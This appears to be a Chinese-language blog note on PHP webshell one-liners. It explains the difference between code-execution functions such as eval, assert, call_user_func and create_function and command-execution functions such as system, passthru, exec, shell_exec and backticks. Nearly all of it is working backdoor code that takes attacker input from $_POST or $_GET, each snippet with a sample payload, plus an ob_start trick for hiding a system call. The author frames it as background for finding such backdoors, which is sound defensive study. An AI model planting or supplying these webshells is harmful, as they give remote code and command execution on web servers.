PHP后門的eval類和system類 函數到底有哪些區別

一、

　　一直以來對PHP的eval這一類函數和system這一類存在疑惑的地方，今天徹底研究了一下，寫查PHP一句話的時候可以更有把握一些。其實都是一些滿基礎的知識，大佬別噴。干安全的基礎很重要。

 

二、PHP的eval類型函數，一句話：代碼執行而不是命令執行。（菜刀用這類）

1、簡單類

//#1-eval
<?php
    eval($_POST["cmd"])
?>
//post:cmd=phpinfo();


//#2-assert
<?php
    assert($_POST["cmd"])
?>
//post:cmd=phpinfo();


//#3-call_user_func
<?php
    call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

2、復雜類

//#1-create_function
<?php 
    $a= $_POST['func'];
    $b = create_function('$a',"echo $a");
    $b('');
?>
//post:func=phpinfo();


//#2-array_map------->這個不懂先記下來
<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET['func'],$array);
?>
//post:func=phpinfo

三、PHP的system類型函數，一句話：命令執行而不是代碼執行。

//#1-system
<?php system($_POST["cmd"]);?>

//#2-passthru
<?php passthru($_POST["cmd"]);?>

//#3-exec
<?php echo exec($_POST["cmd"]);?>

//#4-pcntl_exec
<?php 
    pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>

//#5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>

//#6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>

//#7-``
<?php echo `whoami`?>

 高深一點的：

<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>//?a=whoami